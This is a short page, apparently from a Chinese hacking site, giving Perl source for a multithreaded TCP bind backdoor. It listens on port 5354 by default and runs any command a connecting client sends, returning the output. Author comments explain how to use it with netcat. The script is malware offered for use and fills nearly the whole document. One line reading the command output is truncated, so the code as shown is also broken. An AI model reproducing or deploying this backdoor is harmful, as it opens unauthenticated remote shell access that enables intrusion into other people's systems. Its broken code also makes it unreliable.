TCP多线程正向后门源代码

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#!usr/bin/perl -w
#duo_xian_nc.pl
#Make By DemonAlex
use IO::Socket;
use Thread;
$port=$ARGV[0] || 5354;
$sock=IO::Socket::INET->new(Listen=>10,LocalPort=>$port,Proto=>'tcp');
while(1){
next unless $client=$sock->accept;
Thread->new(\&IandO,$client);
$client->close;
}
$sock->close;
exit 1;

sub IandO{
my $handle=shift;
Thread->self->detach;
print $handle "Now u can enter the command!\n";
while(1){
$mem=<$handle>;
chop($mem);
if(lc($mem) eq 'exit'){
return;
}else{
open(CONVERT,"$mem|");
@mem2=;
print $handle "@mem2\n";
close CONVERT;
print $handle "Now u can enter the command!\n";
}
}
}



#TCP多线程正向后门(支持多会话，想都想得到，多会话有可能支持反向吗?>_<)
#格式: perl duo_xian_nc.pl [端口]
#默认端口为tcp5354
#切记:必须使用NC作客户端，不要贪方便使用TELNET，否则会造成服务端崩溃(进入S循环)
#有问题请EMAIL: demonalex_at_dark2s.org